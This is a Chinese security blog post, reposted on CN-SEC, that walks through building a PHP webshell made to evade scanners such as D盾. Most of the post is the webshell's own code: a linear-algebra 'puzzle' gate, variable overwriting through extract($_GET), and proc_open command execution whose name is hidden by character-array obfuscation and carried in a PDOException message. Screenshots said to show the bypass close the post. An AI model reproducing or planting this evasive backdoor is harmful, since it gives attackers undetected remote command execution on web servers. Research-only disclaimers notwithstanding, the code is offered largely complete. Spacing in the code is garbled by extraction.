一次webshell绕过记录

admin 2025年1月6日08:29:49一次webshell绕过记录已关闭评论11 views字数 6052阅读20分10秒阅读模式

一次webshell绕过记录

需要用到的知识:

1.基于循环群的线性代数方程组解达到分支对抗

2.变量覆盖

3.Linux特性

4.异常类Exception::getMessage

5.自定义函数+字符串混淆

1.程序锁定器

本部分基于线性代数循环群运算构建了一个锁定器,通过接收数组变量,对对象中的四个成员变量进行运算,运算结束后若四个成员变量值相等即解锁。

群,即一系列元素和对元素进行操作的集合,通俗来说就是一个人和其他人之间操作的互相影响,可用数学方式表示。

灵感来源:

https://juejin.cn/post/7325495635457130506#heading-9

假设现存在四个人,记为1号,2号,3号,4号,每人本身拥有一个权值,范围为0-2.

若向1号打招呼,1号和2号权值+1,

若向2号打招呼,1号.2号和3号权值+1,

若向3号打招呼,2号.3号和4号权值+1,

若向4号打招呼,3号和四号权值+1

根据上面描述可以得出一个行为矩阵记为Aj

一次webshell绕过记录

现假设四个人的初始权值为2.0.0.2,可得到初始向量为

一次webshell绕过记录

因为这里思路是要求四个成员变量值相等,可取0,1,或者2,这里暂取2

可得结果向量为

一次webshell绕过记录

整体就是求解一个线性方程组

一次webshell绕过记录

求得o操作向量

经过计算可得

一次webshell绕过记录

也可以采用程序进行运算

import numpy as np# 定义模3加法、减法和乘法defmod3_add(a, b):return (a + b) % 3defmod3_subtract(a, b):return (a - b) % 3defmod3_multiply(a, b):return (a * b) % 3# 定义矩阵 A_jA_j = np.array([[1100],                [1110],                [0111],                [0011]], dtype=int)defis_solvable(A, b):"""Check if the system Ax = b is solvable."""    Ab = np.hstack([A, b.reshape(-11)])    rank_A = np.linalg.matrix_rank(A)    rank_Ab = np.linalg.matrix_rank(Ab)return rank_A == rank_Ab# 随机生成 e 和 s 并检查解的存在性whileTrue:    e = np.random.randint(03, size=4, dtype=int)    print(e)    s = np.random.randint(03, size=4, dtype=int)    print(s)    b = mod3_subtract(e, s)if is_solvable(A_j, b):break# 将 A_j 和 b 合并为增广矩阵Ab = np.hstack([A_j, b.reshape(-11)])# 高斯-若尔当消元法,适用于模3运算defgaussian_jordan_elimination_mod3(A):    n = A.shape[0]for i in range(n):        max_row = np.argmax(np.abs(A[i:, i])) + i        A[[i, max_row]] = A[[max_row, i]]if A[i, i] == 2:            A[i, :] = mod3_multiply(A[i, :], 2)for j in range(n):if i != j:                factor = A[j, i]                A[j, :] = mod3_subtract(A[j, :], mod3_multiply(factor, A[i, :]))for i in range(n-1-1-1):for j in range(i+1, n):            A[i, -1] = mod3_subtract(A[i, -1], mod3_multiply(A[i, j], A[j, -1]))return A# 应用高斯-若尔当消元法AbReduced = gaussian_jordan_elimination_mod3(Ab)# 解向量 o 是最后一列o = AbReduced[:, -1]print("解向量 o:", o)

根据高斯消元法可得行为向量o为

一次webshell绕过记录

循环群思路大致如此。

resetBlockState函数作用就是操作后成员变量的值若超过最大范围,则重置为最小范围值

privatefunctionresetBlockState($block){   $setType = $this-> MIN_ENUM;            $maxType = $this -> MAX_ENUM;switch ($block) {case'A':if ($this -> blockA == $maxType) { $this -> blockA = $setType;returntrue; }elsereturnfalse;case'B':if ($this -> blockB == $maxType) { $this -> blockB = $setType;returntrue; }elsereturnfalse;case'C':if ($this-> blockC == $maxType){ $this -> blockC = $setType;returntrue; }elsereturnfalse;case'D':if ($this -> blockD == $maxType) { $this -> blockD = $setType;returntrue; }elsereturnfalse;defaultthrownewException("bad_args"1);            }        }

updateblock函数作用就是实现了上述四个人打招呼的例子,根据传进来的参数进行操作

privatefunctionupdateBlock($blockIdx){global $text;            $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case"A":if (!$this -> resetBlockState("A")) $this -> blockA += 1;if (!$this -> resetBlockState("B")) $this -> blockB += 1;break;case"B":if (!$this -> resetBlockState("A")) $this -> blockA += 1;if (!$this -> resetBlockState("B")) $this -> blockB += 1;if (!$this -> resetBlockState("C")) $this ->blockC += 1;break;case"C":if                (!$this -> resetBlockState("B")) $this -> blockB += 1;if (!$this -> resetBlockState("C")) $this -> blockC += 1;if (!$this ->resetBlockState("D"))$this -> blockD += 1;break;case"D":if (!$this -> resetBlockState("C")) $this -> blockC += 1;if (!$this -> resetBlockState("D")) $this -> blockD += 1;break;defaultthrownewException("bad_args"1);             }        }

solvePuzzle函数就是接收经过打招呼的操作数组并根据操作数组的每个值调用updateblock,最后初始化unlockCode接收四个成员变量的和

publicfunctionsolvePuzzle(){global $solutionSteps;if (count($solutionSteps) === 0thrownewException("Invalid WriteUP",1);for ($i = 0; $i < count($solutionSteps);            $i++) {if (strcmp($solutionSteps[$i],"A") !== 0and strcmp($solutionSteps[$i],"B") !== 0and strcmp($solutionSteps[$i],"C") !== 0and strcmp($solutionSteps[$i],"D") !== 0die("nnnpc");            }for ($i = 0; $i < count($solutionSteps); $i++) $this -> updateBlock($solutionSteps[$i]);            $unlockCode=$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;        }

checkUnlockStatus函数就是检验4个成员变量值是否相等,若相等则程序解锁

publicfunctioncheckUnlockStatus(){if ($this -> blockA ===$this -> blockB and$this -> blockA === $this -> blockC and$this -> blockA === $this -> blockD) returntrue;elsereturnfalse;}

pause函数就是用来调用checkUnlock函数,实现检验是否解锁

publicfunctionpause($command){if ($this->checkUnlockStatus()) {return $command;    } else {die("nnnpc");    }}

2.变量覆盖

functiontest(){return extract($_GET);}if (test()){    $command = $_GET['1'];}if ($command) {    $solutionSteps = $_GET['solutionSteps'];    $PuzzleLocker->solvePuzzle($solutionSteps);    $eC = $PuzzleLocker->pause($command);

通过调用extract()函数实现对以GET方式传入的变量进行覆盖

一次webshell绕过记录

并随后在其中插入前面程序锁定器相关程序,进行分支对抗

3.Linux特性

if ($command) {    $solutionSteps = $_GET['solutionSteps'];    $PuzzleLocker->solvePuzzle($solutionSteps);    $eC = $PuzzleLocker->pause($command);}$descriptors = [0 => ['pipe''r'],1 => ['pipe''w'],2 => ['pipe''w'],];$c = $f->getMessage();$process = $c($eC, $descriptors, $pipes);if (is_resource($process)) {    $output = stream_get_contents($pipes[1]);    fclose($pipes[0]);    fclose($pipes[1]);    fclose($pipes[2]);    proc_close($process);echo $output;}

这里采取的是用linux系统中的proc_open函数进行命令执行

一次webshell绕过记录

我原本是直接把proc_open函数写在代码里,但是去测试的时候比如D盾 就会爆出3级或者1级错误,所以引出下面的字符混淆

4.自定义函数+字符串混淆

functionconfusion($a){    $s = ['a''p''r''o''c''_''o','e','n'];    $tmp = "";while ($a > 10) {        $tmp .= $s[$a % 10];        $a = intval($a / 10);    }return $tmp . $s[$a];} $num = $_POST['num'];// 使用 __FILE__ 获取文件名 $filename = basename(__FILE__); $number = intval(substr($filename,0,9)); 

confusion函数比较简单,就是提前把要构造的函数比如这里的proc_open按照字母分别存入数组,然后后面依次取出。这里之所以存了一个无关的a在里面,是因为我在这里采取的是取出字母是根据文件名来取,若需要取的字母放在数组第一个元素即序号为0,不方便进行操作。比如文件名为123.php,取出123,然后调用confusion函数,每次循环都会先取余10,即取出一整串数字的最后一个数字这里取得是3,当作数组序号,取出的就是o字母,然后再把123除10,得12(php中遇见除不尽或者有小数的都直接向下取证)依次循环即可得到proc_open

5.异常类Exception::getMessage

functioncheckNum($number){if($number>1)    {thrownewException("变量值必须小于等于 1");    }returntrue;}try{ $num = $_POST['num'];// 使用 __FILE__ 获取文件名 $filename = basename(__FILE__); $number = intval(substr($filename,0,9)); // 从文件名中提取最后15位数字 $f = new PDOException(strrev(confusion($number)));    checkNum($num);// 如果抛出异常,以下文本不会输出echo'如果输出该内容,说明 $number 变量小于1';}

常见程序都是一条路走到黑,最多有几个if判断支撑健壮性避免不可处理的错误。这里根据这一思路,故意创造一个异常,在异常中执行程序。

PDOException,是php的一个处理异常的原生类,通过调用该类自带的getMessage方法可以输出异常消息内容即我们要执行的命令内容0

一次webshell绕过记录
$c = $f->getMessage();$process = $c($eC, $descriptors, $pipes);

构造进行进程执行命令

6.绕过结果

一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录
一次webshell绕过记录

7.执行截图

一次webshell绕过记录
一次webshell绕过记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日08:29:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次webshell绕过记录http://cn-sec.com/archives/3594379.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.